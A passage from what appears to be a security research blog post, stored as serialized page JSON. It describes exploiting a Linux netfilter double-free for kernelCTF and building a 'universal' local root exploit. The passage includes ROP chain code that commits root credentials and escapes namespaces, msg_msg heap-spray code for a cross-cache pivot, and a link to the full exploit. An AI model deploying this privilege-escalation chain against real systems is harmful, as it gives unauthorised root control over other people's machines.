usual:",{"type":23,"tag":350,"props":55700,"children":55701},{},[55702,55713,55724],{"type":23,"tag":45,"props":55703,"children":55704},{},[55705,55711],{"type":23,"tag":56,"props":55706,"children":55708},{"className":55707},[],[55709],{"type":28,"value":55710},"commit_creds(&init_cred);",{"type":28,"value":55712}," Commit root credentials to our process",{"type":23,"tag":45,"props":55714,"children":55715},{},[55716,55722],{"type":23,"tag":56,"props":55717,"children":55719},{"className":55718},[],[55720],{"type":28,"value":55721},"task = find_task_by_vpid(1);",{"type":28,"value":55723}," Find the root process of our namespace",{"type":23,"tag":45,"props":55725,"children":55726},{},[55727,55733],{"type":23,"tag":56,"props":55728,"children":55730},{"className":55729},[],[55731],{"type":28,"value":55732},"switch_task_namespaces(task, &init_nsproxy);",{"type":28,"value":55734}," Move it to the root namespace",{"type":23,"tag":24,"props":55736,"children":55737},{},[55738,55740,55746,55748,55754,55756,55762,55764,55770,55772,55777,55779,55785],{"type":28,"value":55739},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":23,"tag":56,"props":55741,"children":55743},{"className":55742},[],[55744],{"type":28,"value":55745},"find_task_by_vpid(1)",{"type":28,"value":55747}," passed through ",{"type":23,"tag":56,"props":55749,"children":55751},{"className":55750},[],[55752],{"type":28,"value":55753},"rax",{"type":28,"value":55755}," to ",{"type":23,"tag":56,"props":55757,"children":55759},{"className":55758},[],[55760],{"type":28,"value":55761},"rdi",{"type":28,"value":55763},". What I ended up going with was a ",{"type":23,"tag":56,"props":55765,"children":55767},{"className":55766},[],[55768],{"type":28,"value":55769},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":28,"value":55771}," gadget, that allowed me to push the ",{"type":23,"tag":56,"props":55773,"children":55775},{"className":55774},[],[55776],{"type":28,"value":55753},{"type":28,"value":55778}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":56,"props":55780,"children":55782},{"className":55781},[],[55783],{"type":28,"value":55784},"pop rdi; ret",{"type":28,"value":55786}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":350,"props":55788,"children":55789},{},[55790,55795,55808],{"type":23,"tag":45,"props":55791,"children":55792},{},[55793],{"type":28,"value":55794},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":45,"props":55796,"children":55797},{},[55798,55800,55806],{"type":28,"value":55799},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":56,"props":55801,"children":55803},{"className":55802},[],[55804],{"type":28,"value":55805},"pop rdi; ret;",{"type":28,"value":55807}," location)",{"type":23,"tag":45,"props":55809,"children":55810},{},[55811,55816],{"type":23,"tag":56,"props":55812,"children":55814},{"className":55813},[],[55815],{"type":28,"value":55784},{"type":28,"value":55817}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":494,"props":55819,"children":55821},{"className":28091,"code":55820,"language":28093,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[55822],{"type":23,"tag":56,"props":55823,"children":55824},{"__ignoreMap":7},[55825,55832,55849,55894,55930,55966,55973,55981,56024,56055,56091,56136,56191,56236,56243,56251,56294,56330,56366],{"type":23,"tag":504,"props":55826,"children":55827},{"class":506,"line":507},[55828],{"type":23,"tag":504,"props":55829,"children":55830},{"style":523},[55831],{"type":28,"value":9299},{"type":23,"tag":504,"props":55833,"children":55834},{"class":506,"line":540},[55835,55840,55845],{"type":23,"tag":504,"props":55836,"children":55837},{"style":523},[55838],{"type":28,"value":55839},"    // commit_creds(&",{"type":23,"tag":504,"props":55841,"children":55842},{"style":529},[55843],{"type":28,"value":55844},"init_cred",{"type":23,"tag":504,"props":55846,"children":55847},{"style":523},[55848],{"type":28,"value":630},{"type":23,"tag":504,"props":55850,"children":55851},{"class":506,"line":555},[55852,55856,55860,55864,55868,55872,55876,55880,55885,55889],{"type":23,"tag":504,"props":55853,"children":55854},{"style":529},[55855],{"type":28,"value":55148},{"type":23,"tag":504,"props":55857,"children":55858},{"style":523},[55859],{"type":28,"value":55663},{"type":23,"tag":504,"props":55861,"children":55862},{"style":598},[55863],{"type":28,"value":50248},{"type":23,"tag":504,"props":55865,"children":55866},{"style":523},[55867],{"type":28,"value":595},{"type":23,"tag":504,"props":55869,"children":55870},{"style":598},[55871],{"type":28,"value":601},{"type":23,"tag":504,"props":55873,"children":55874},{"style":523},[55875],{"type":28,"value":55169},{"type":23,"tag":504,"props":55877,"children":55878},{"style":598},[55879],{"type":28,"value":1642},{"type":23,"tag":504,"props":55881,"children":55882},{"style":1440},[55883],{"type":28,"value":55884}," 0xffffffff8112c7c0",{"type":23,"tag":504,"props":55886,"children":55887},{"style":523},[55888],{"type":28,"value":48053},{"type":23,"tag":504,"props":55890,"children":55891},{"style":1106},[55892],{"type":28,"value":55893}," // pop rdi; ret;\n",{"type":23,"tag":504,"props":55895,"children":55896},{"class":506,"line":633},[55897,55901,55905,55909,55913,55917,55921,55925],{"type":23,"tag":504,"props":55898,"children":55899},{"style":529},[55900],{"type":28,"value":55148},{"type":23,"tag":504,"props":55902,"children":55903},{"style":523},[55904],{"type":28,"value":55663},{"type":23,"tag":504,"props":55906,"children":55907},{"style":598},[55908],{"type":28,"value":50248},{"type":23,"tag":504,"props":55910,"children":55911},{"style":523},[55912],{"type":28,"value":595},{"type":23,"tag":504,"props":55914,"children":55915},{"style":598},[55916],{"type":28,"value":601},{"type":23,"tag":504,"props":55918,"children":55919},{"style":523},[55920],{"type":28,"value":55169},{"type":23,"tag":504,"props":55922,"children":55923},{"style":598},[55924],{"type":28,"value":1642},{"type":23,"tag":504,"props":55926,"children":55927},{"style":523},[55928],{"type":28,"value":55929}," INIT_CRED;\n",{"type":23,"tag":504,"props":55931,"children":55932},{"class":506,"line":687},[55933,55937,55941,55945,55949,55953,55957,55961],{"type":23,"tag":504,"props":55934,"children":55935},{"style":529},[55936],{"type":28,"value":55148},{"type":23,"tag":504,"props":55938,"children":55939},{"style":523},[55940],{"type":28,"value":55663},{"type":23,"tag":504,"props":55942,"children":55943},{"style":598},[55944],{"type":28,"value":50248},{"type":23,"tag":504,"props":55946,"children":55947},{"style":523},[55948],{"type":28,"value":595},{"type":23,"tag":504,"props":55950,"children":55951},{"style":598},[55952],{"type":28,"value":601},{"type":23,"tag":504,"props":55954,"children":55955},{"style":523},[55956],{"type":28,"value":55169},{"type":23,"tag":504,"props":55958,"children":55959},{"style":598},[55960],{"type":28,"value":1642},{"type":23,"tag":504,"props":55962,"children":55963},{"style":523},[55964],{"type":28,"value":55965}," COMMIT_CREDS;\n",{"type":23,"tag":504,"props":55967,"children":55968},{"class":506,"line":736},[55969],{"type":23,"tag":504,"props":55970,"children":55971},{"emptyLinePlaceholder":16},[55972],{"type":28,"value":1038},{"type":23,"tag":504,"props":55974,"children":55975},{"class":506,"line":785},[55976],{"type":23,"tag":504,"props":55977,"children":55978},{"style":1106},[55979],{"type":28,"value":55980},"    // task = find_task_by_vpid(1);\n",{"type":23,"tag":504,"props":55982,"children":55983},{"class":506,"line":813},[55984,55988,55992,55996,56000,56004,56008,56012,56016,56020],{"type":23,"tag":504,"props":55985,"children":55986},{"style":529},[55987],{"type":28,"value":55148},{"type":23,"tag":504,"props":55989,"children":55990},{"style":523},[55991],{"type":28,"value":55663},{"type":23,"tag":504,"props":55993,"children":55994},{"style":598},[55995],{"type":28,"value":50248},{"type":23,"tag":504,"props":55997,"children":55998},{"style":523},[55999],{"type":28,"value":595},{"type":23,"tag":504,"props":56001,"children":56002},{"style":598},[56003],{"type":28,"value":601},{"type":23,"tag":504,"props":56005,"children":56006},{"style":523},[56007],{"type":28,"value":55169},{"type":23,"tag":504,"props":56009,"children":56010},{"style":598},[56011],{"type":28,"value":1642},{"type":23,"tag":504,"props":56013,"children":56014},{"style":1440},[56015],{"type":28,"value":55884},{"type":23,"tag":504,"props":56017,"children":56018},{"style":523},[56019],{"type":28,"value":48053},{"type":23,"tag":504,"props":56021,"children":56022},{"style":1106},[56023],{"type":28,"value":55893},{"type":23,"tag":504,"props":56025,"children":56026},{"class":506,"line":851},[56027,56031,56035,56039,56043,56047,56051],{"type":23,"tag":504,"props":56028,"children":56029},{"style":529},[56030],{"type":28,"value":55148},{"type":23,"tag":504,"props":56032,"children":56033},{"style":523},[56034],{"type":28,"value":55663},{"type":23,"tag":504,"props":56036,"children":56037},{"style":598},[56038],{"type":28,"value":50248},{"type":23,"tag":504,"props":56040,"children":56041},{"style":523},[56042],{"type":28,"value":595},{"type":23,"tag":504,"props":56044,"children":56045},{"style":598},[56046],{"type":28,"value":601},{"type":23,"tag":504,"props":56048,"children":56049},{"style":1440},[56050],{"type":28,"value":3504},{"type":23,"tag":504,"props":56052,"children":56053},{"style":523},[56054],{"type":28,"value":866},{"type":23,"tag":504,"props":56056,"children":56057},{"class":506,"line":869},[56058,56062,56066,56070,56074,56078,56082,56086],{"type":23,"tag":504,"props":56059,"children":56060},{"style":529},[56061],{"type":28,"value":55148},{"type":23,"tag":504,"props":56063,"children":56064},{"style":523},[56065],{"type":28,"value":55663},{"type":23,"tag":504,"props":56067,"children":56068},{"style":598},[56069],{"type":28,"value":50248},{"type":23,"tag":504,"props":56071,"children":56072},{"style":523},[56073],{"type":28,"value":595},{"type":23,"tag":504,"props":56075,"children":56076},{"style":598},[56077],{"type":28,"value":601},{"type":23,"tag":504,"props":56079,"children":56080},{"style":523},[56081],{"type":28,"value":55169},{"type":23,"tag":504,"props":56083,"children":56084},{"style":598},[56085],{"type":28,"value":1642},{"type":23,"tag":504,"props":56087,"children":56088},{"style":523},[56089],{"type":28,"value":56090}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":504,"props":56092,"children":56093},{"class":506,"line":878},[56094,56098,56102,56106,56110,56114,56118,56122,56127,56131],{"type":23,"tag":504,"props":56095,"children":56096},{"style":529},[56097],{"type":28,"value":55148},{"type":23,"tag":504,"props":56099,"children":56100},{"style":523},[56101],{"type":28,"value":55663},{"type":23,"tag":504,"props":56103,"children":56104},{"style":598},[56105],{"type":28,"value":50248},{"type":23,"tag":504,"props":56107,"children":56108},{"style":523},[56109],{"type":28,"value":595},{"type":23,"tag":504,"props":56111,"children":56112},{"style":598},[56113],{"type":28,"value":601},{"type":23,"tag":504,"props":56115,"children":56116},{"style":523},[56117],{"type":28,"value":55169},{"type":23,"tag":504,"props":56119,"children":56120},{"style":598},[56121],{"type":28,"value":1642},{"type":23,"tag":504,"props":56123,"children":56124},{"style":1440},[56125],{"type":28,"value":56126}," 0xffffffff8102e2a6",{"type":23,"tag":504,"props":56128,"children":56129},{"style":523},[56130],{"type":28,"value":48053},{"type":23,"tag":504,"props":56132,"children":56133},{"style":1106},[56134],{"type":28,"value":56135}," // pop rsi; ret;\n",{"type":23,"tag":504,"props":56137,"children":56138},{"class":506,"line":1221},[56139,56143,56147,56151,56155,56159,56164,56168,56173,56177,56182,56186],{"type":23,"tag":504,"props":56140,"children":56141},{"style":529},[56142],{"type":28,"value":55148},{"type":23,"tag":504,"props":56144,"children":56145},{"style":523},[56146],{"type":28,"value":55663},{"type":23,"tag":504,"props":56148,"children":56149},{"style":598},[56150],{"type":28,"value":50248},{"type":23,"tag":504,"props":56152,"children":56153},{"style":523},[56154],{"type":28,"value":595},{"type":23,"tag":504,"props":56156,"children":56157},{"style":598},[56158],{"type":28,"value":601},{"type":23,"tag":504,"props":56160,"children":56161},{"style":523},[56162],{"type":28,"value":56163}," obj_ptr ",{"type":23,"tag":504,"props":56165,"children":56166},{"style":598},[56167],{"type":28,"value":1642},{"type":23,"tag":504,"props":56169,"children":56170},{"style":1440},[56171],{"type":28,"value":56172}," 0xe0",{"type":23,"tag":504,"props":56174,"children":56175},{"style":598},[56176],{"type":28,"value":50234},{"type":23,"tag":504,"props":56178,"children":56179},{"style":1440},[56180],{"type":28,"value":56181}," 0x66",{"type":23,"tag":504,"props":56183,"children":56184},{"style":523},[56185],{"type":28,"value":48053},{"type":23,"tag":504,"props":56187,"children":56188},{"style":1106},[56189],{"type":28,"value":56190},"            // rax -> rdi and resume rop\n",{"type":23,"tag":504,"props":56192,"children":56193},{"class":506,"line":1276},[56194,56198,56202,56206,56210,56214,56218,56222,56227,56231],{"type":23,"tag":504,"props":56195,"children":56196},{"style":529},[56197],{"type":28,"value":55148},{"type":23,"tag":504,"props":56199,"children":56200},{"style":523},[56201],{"type":28,"value":55663},{"type":23,"tag":504,"props":56203,"children":56204},{"style":598},[56205],{"type":28,"value":50248},{"type":23,"tag":504,"props":56207,"children":56208},{"style":523},[56209],{"type":28,"value":595},{"type":23,"tag":504,"props":56211,"children":56212},{"style":598},[56213],{"type":28,"value":601},{"type":23,"tag":504,"props":56215,"children":56216},{"style":523},[56217],{"type":28,"value":55169},{"type":23,"tag":504,"props":56219,"children":56220},{"style":598},[56221],{"type":28,"value":1642},{"type":23,"tag":504,"props":56223,"children":56224},{"style":1440},[56225],{"type":28,"value":56226}," 0xffffffff81caed31",{"type":23,"tag":504,"props":56228,"children":56229},{"style":523},[56230],{"type":28,"value":48053},{"type":23,"tag":504,"props":56232,"children":56233},{"style":1106},[56234],{"type":28,"value":56235}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":23,"tag":504,"props":56237,"children":56238},{"class":506,"line":1285},[56239],{"type":23,"tag":504,"props":56240,"children":56241},{"emptyLinePlaceholder":16},[56242],{"type":28,"value":1038},{"type":23,"tag":504,"props":56244,"children":56245},{"class":506,"line":1294},[56246],{"type":23,"tag":504,"props":56247,"children":56248},{"style":1106},[56249],{"type":28,"value":56250},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":504,"props":56252,"children":56253},{"class":506,"line":1302},[56254,56258,56262,56266,56270,56274,56278,56282,56286,56290],{"type":23,"tag":504,"props":56255,"children":56256},{"style":529},[56257],{"type":28,"value":55148},{"type":23,"tag":504,"props":56259,"children":56260},{"style":523},[56261],{"type":28,"value":55663},{"type":23,"tag":504,"props":56263,"children":56264},{"style":598},[56265],{"type":28,"value":50248},{"type":23,"tag":504,"props":56267,"children":56268},{"style":523},[56269],{"type":28,"value":595},{"type":23,"tag":504,"props":56271,"children":56272},{"style":598},[56273],{"type":28,"value":601},{"type":23,"tag":504,"props":56275,"children":56276},{"style":523},[56277],{"type":28,"value":55169},{"type":23,"tag":504,"props":56279,"children":56280},{"style":598},[56281],{"type":28,"value":1642},{"type":23,"tag":504,"props":56283,"children":56284},{"style":1440},[56285],{"type":28,"value":56126},{"type":23,"tag":504,"props":56287,"children":56288},{"style":523},[56289],{"type":28,"value":48053},{"type":23,"tag":504,"props":56291,"children":56292},{"style":1106},[56293],{"type":28,"value":56135},{"type":23,"tag":504,"props":56295,"children":56296},{"class":506,"line":1311},[56297,56301,56305,56309,56313,56317,56321,56325],{"type":23,"tag":504,"props":56298,"children":56299},{"style":529},[56300],{"type":28,"value":55148},{"type":23,"tag":504,"props":56302,"children":56303},{"style":523},[56304],{"type":28,"value":55663},{"type":23,"tag":504,"props":56306,"children":56307},{"style":598},[56308],{"type":28,"value":50248},{"type":23,"tag":504,"props":56310,"children":56311},{"style":523},[56312],{"type":28,"value":595},{"type":23,"tag":504,"props":56314,"children":56315},{"style":598},[56316],{"type":28,"value":601},{"type":23,"tag":504,"props":56318,"children":56319},{"style":523},[56320],{"type":28,"value":55169},{"type":23,"tag":504,"props":56322,"children":56323},{"style":598},[56324],{"type":28,"value":1642},{"type":23,"tag":504,"props":56326,"children":56327},{"style":523},[56328],{"type":28,"value":56329}," INIT_NSPROXY;\n",{"type":23,"tag":504,"props":56331,"children":56332},{"class":506,"line":1334},[56333,56337,56341,56345,56349,56353,56357,56361],{"type":23,"tag":504,"props":56334,"children":56335},{"style":529},[56336],{"type":28,"value":55148},{"type":23,"tag":504,"props":56338,"children":56339},{"style":523},[56340],{"type":28,"value":55663},{"type":23,"tag":504,"props":56342,"children":56343},{"style":598},[56344],{"type":28,"value":50248},{"type":23,"tag":504,"props":56346,"children":56347},{"style":523},[56348],{"type":28,"value":595},{"type":23,"tag":504,"props":56350,"children":56351},{"style":598},[56352],{"type":28,"value":601},{"type":23,"tag":504,"props":56354,"children":56355},{"style":523},[56356],{"type":28,"value":55169},{"type":23,"tag":504,"props":56358,"children":56359},{"style":598},[56360],{"type":28,"value":1642},{"type":23,"tag":504,"props":56362,"children":56363},{"style":523},[56364],{"type":28,"value":56365}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":504,"props":56367,"children":56368},{"class":506,"line":1370},[56369],{"type":23,"tag":504,"props":56370,"children":56371},{"style":523},[56372],{"type":28,"value":9299},{"type":23,"tag":82,"props":56374,"children":56376},{"id":56375},"grabbing-the-kernelctf-flag",[56377],{"type":28,"value":56378},"Grabbing the kernelCTF flag",{"type":23,"tag":24,"props":56380,"children":56381},{},[56382,56386,56388,56395],{"type":23,"tag":126,"props":56383,"children":56385},{"alt":128,"src":56384},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":28,"value":56387},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":92,"props":56389,"children":56392},{"href":56390,"rel":56391},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[96],[56393],{"type":28,"value":56394},"GitHub",{"type":28,"value":320},{"type":23,"tag":70,"props":56397,"children":56399},{"id":56398},"universal-exploit",[56400],{"type":28,"value":56401},"Universal exploit",{"type":23,"tag":24,"props":56403,"children":56404},{},[56405],{"type":28,"value":56406},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":82,"props":56408,"children":56410},{"id":56409},"pivot-capability-using-msg_msg-mlistnext-pointer",[56411],{"type":28,"value":56412},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":24,"props":56414,"children":56415},{},[56416,56418,56424,56426,56431,56433,56439],{"type":28,"value":56417},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":56,"props":56419,"children":56421},{"className":56420},[],[56422],{"type":28,"value":56423},"msg_msg",{"type":28,"value":56425}," object with with ",{"type":23,"tag":56,"props":56427,"children":56429},{"className":56428},[],[56430],{"type":28,"value":54077},{"type":28,"value":56432}," and control the ",{"type":23,"tag":56,"props":56434,"children":56436},{"className":56435},[],[56437],{"type":28,"value":56438},"m_list.next",{"type":28,"value":56440}," pointer.",{"type":23,"tag":494,"props":56442,"children":56444},{"className":28091,"code":56443,"language":28093,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[56445],{"type":23,"tag":56,"props":56446,"children":56447},{"__ignoreMap":7},[56448,56456,56472,56493,56506,56524,56549,56565,56573,56580,56587,56595,56627],{"type":23,"tag":504,"props":56449,"children":56450},{"class":506,"line":507},[56451],{"type":23,"tag":504,"props":56452,"children":56453},{"style":1106},[56454],{"type":28,"value":56455},"/* one msg_msg structure for each message */\n",{"type":23,"tag":504,"props":56457,"children":56458},{"class":506,"line":540},[56459,56463,56468],{"type":23,"tag":504,"props":56460,"children":56461},{"style":511},[56462],{"type":28,"value":8383},{"type":23,"tag":504,"props":56464,"children":56465},{"style":1012},[56466],{"type":28,"value":56467}," msg_msg",{"type":23,"tag":504,"props":56469,"children":56470},{"style":523},[56471],{"type":28,"value":552},{"type":23,"tag":504,"props":56473,"children":56474},{"class":506,"line":555},[56475,56479,56484,56489],{"type":23,"tag":504,"props":56476,"children":56477},{"style":511},[56478],{"type":28,"value":20132},{"type":23,"tag":504,"props":56480,"children":56481},{"style":1012},[56482],{"type":28,"value":56483}," list_head",{"type":23,"tag":504,"props":56485,"children":56486},{"style":529},[56487],{"type":28,"value":56488}," m_list",{"type":23,"tag":504,"props":56490,"children":56491},{"style":523},[56492],{"type":28,"value":866},{"type":23,"tag":504,"props":56494,"children":56495},{"class":506,"line":633},[56496,56501],{"type":23,"tag":504,"props":56497,"children":56498},{"style":511},[56499],{"type":28,"value":56500}," long",{"type":23,"tag":504,"props":56502,"children":56503},{"style":523},[56504],{"type":28,"value":56505}," m_type;\n",{"type":23,"tag":504,"props":56507,"children":56508},{"class":506,"line":687},[56509,56514,56519],{"type":23,"tag":504,"props":56510,"children":56511},{"style":511},[56512],{"type":28,"value":56513}," size_t",{"type":23,"tag":504,"props":56515,"children":56516},{"style":523},[56517],{"type":28,"value":56518}," m_ts;",{"type":23,"tag":504,"props":56520,"children":56521},{"style":1106},[56522],{"type":28,"value":56523},"  /* message text size */\n",{"type":23,"tag":504,"props":56525,"children":56526},{"class":506,"line":736},[56527,56531,56536,56540,56545],{"type":23,"tag":504,"props":56528,"children":56529},{"style":511},[56530],{"type":28,"value":20132},{"type":23,"tag":504,"props":56532,"children":56533},{"style":1012},[56534],{"type":28,"value":56535}," msg_msgseg",{"type":23,"tag":504,"props":56537,"children":56538},{"style":511},[56539],{"type":28,"value":8797},{"type":23,"tag":504,"props":56541,"children":56542},{"style":529},[56543],{"type":28,"value":56544},"next",{"type":23,"tag":504,"props":56546,"children":56547},{"style":523},[56548],{"type":28,"value":866},{"type":23,"tag":504,"props":56550,"children":56551},{"class":506,"line":785},[56552,56556,56560],{"type":23,"tag":504,"props":56553,"children":56554},{"style":511},[56555],{"type":28,"value":50028},{"type":23,"tag":504,"props":56557,"children":56558},{"style":598},[56559],{"type":28,"value":8797},{"type":23,"tag":504,"props":56561,"children":56562},{"style":523},[56563],{"type":28,"value":56564},"security;\n",{"type":23,"tag":504,"props":56566,"children":56567},{"class":506,"line":813},[56568],{"type":23,"tag":504,"props":56569,"children":56570},{"style":1106},[56571],{"type":28,"value":56572}," /* the actual message follows immediately */\n",{"type":23,"tag":504,"props":56574,"children":56575},{"class":506,"line":851},[56576],{"type":23,"tag":504,"props":56577,"children":56578},{"style":523},[56579],{"type":28,"value":15556},{"type":23,"tag":504,"props":56581,"children":56582},{"class":506,"line":869},[56583],{"type":23,"tag":504,"props":56584,"children":56585},{"style":523},[56586],{"type":28,"value":9299},{"type":23,"tag":504,"props":56588,"children":56589},{"class":506,"line":878},[56590],{"type":23,"tag":504,"props":56591,"children":56592},{"style":523},[56593],{"type":28,"value":56594},"struct list_head {\n",{"type":23,"tag":504,"props":56596,"children":56597},{"class":506,"line":1221},[56598,56602,56606,56610,56614,56618,56622],{"type":23,"tag":504,"props":56599,"children":56600},{"style":511},[56601],{"type":28,"value":20132},{"type":23,"tag":504,"props":56603,"children":56604},{"style":1012},[56605],{"type":28,"value":56483},{"type":23,"tag":504,"props":56607,"children":56608},{"style":511},[56609],{"type":28,"value":8797},{"type":23,"tag":504,"props":56611,"children":56612},{"style":529},[56613],{"type":28,"value":56544},{"type":23,"tag":504,"props":56615,"children":56616},{"style":523},[56617],{"type":28,"value":576},{"type":23,"tag":504,"props":56619,"children":56620},{"style":598},[56621],{"type":28,"value":3552},{"type":23,"tag":504,"props":56623,"children":56624},{"style":523},[56625],{"type":28,"value":56626},"prev;\n",{"type":23,"tag":504,"props":56628,"children":56629},{"class":506,"line":1276},[56630],{"type":23,"tag":504,"props":56631,"children":56632},{"style":523},[56633],{"type":28,"value":15556},{"type":23,"tag":24,"props":56635,"children":56636},{},[56637,56639,56645,56647,56652],{"type":28,"value":56638},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":56,"props":56640,"children":56642},{"className":56641},[],[56643],{"type":28,"value":56644},"mlist.next",{"type":28,"value":56646}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":56,"props":56648,"children":56650},{"className":56649},[],[56651],{"type":28,"value":56423},{"type":28,"value":56653}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":24,"props":56655,"children":56656},{},[56657,56659,56664,56666],{"type":28,"value":56658},"By incrementing the next pointer of our controllable ",{"type":23,"tag":56,"props":56660,"children":56662},{"className":56661},[],[56663],{"type":28,"value":56423},{"type":28,"value":56665}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":126,"props":56667,"children":56669},{"alt":128,"src":56668},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":494,"props":56671,"children":56673},{"className":28091,"code":56672,"language":28093,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[56674],{"type":23,"tag":56,"props":56675,"children":56676},{"__ignoreMap":7},[56677,56684,56692,56718,56735,56783,56790,56830,56862,56869,56890,56897,56944,57008,57034,57080,57104,57148,57155,57163,57199,57223,57230,57250,57257],{"type":23,"tag":504,"props":56678,"children":56679},{"class":506,"line":507},[56680],{"type":23,"tag":504,"props":56681,"children":56682},{"style":523},[56683],{"type":28,"value":9299},{"type":23,"tag":504,"props":56685,"children":56686},{"class":506,"line":540},[56687],{"type":23,"tag":504,"props":56688,"children":56689},{"style":523},[56690],{"type":28,"value":56691},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":504,"props":56693,"children":56694},{"class":506,"line":555},[56695,56700,56704,56708,56713],{"type":23,"tag":504,"props":56696,"children":56697},{"style":523},[56698],{"type":28,"value":56699},"    msg_t *msg = calloc(1, ",{"type":23,"tag":504,"props":56701,"children":56702},{"style":1012},[56703],{"type":28,"value":54306},{"type":23,"tag":504,"props":56705,"children":56706},{"style":523},[56707],{"type":28,"value":526},{"type":23,"tag":504,"props":56709,"children":56710},{"style":1012},[56711],{"type":28,"value":56712},"msg_t",{"type":23,"tag":504,"props":56714,"children":56715},{"style":523},[56716],{"type":28,"value":56717},") + 0xe8 - 48);\n",{"type":23,"tag":504,"props":56719,"children":56720},{"class":506,"line":633},[56721,56725,56730],{"type":23,"tag":504,"props":56722,"children":56723},{"style":511},[56724],{"type":28,"value":18058},{"type":23,"tag":504,"props":56726,"children":56727},{"style":529},[56728],{"type":28,"value":56729}," qid",{"type":23,"tag":504,"props":56731,"children":56732},{"style":523},[56733],{"type":28,"value":56734},"[SPRAY];\n",{"type":23,"tag":504,"props":56736,"children":56737},{"class":506,"line":687},[56738,56742,56746,56750,56754,56758,56762,56766,56770,56775,56779],{"type":23,"tag":504,"props":56739,"children":56740},{"style":544},[56741],{"type":28,"value":2008},{"type":23,"tag":504,"props":56743,"children":56744},{"style":523},[56745],{"type":28,"value":801},{"type":23,"tag":504,"props":56747,"children":56748},{"style":511},[56749],{"type":28,"value":18028},{"type":23,"tag":504,"props":56751,"children":56752},{"style":523},[56753],{"type":28,"value":53522},{"type":23,"tag":504,"props":56755,"children":56756},{"style":598},[56757],{"type":28,"value":601},{"type":23,"tag":504,"props":56759,"children":56760},{"style":1440},[56761],{"type":28,"value":2023},{"type":23,"tag":504,"props":56763,"children":56764},{"style":523},[56765],{"type":28,"value":50212},{"type":23,"tag":504,"props":56767,"children":56768},{"style":598},[56769],{"type":28,"value":4789},{"type":23,"tag":504,"props":56771,"children":56772},{"style":523},[56773],{"type":28,"value":56774}," SPRAY; 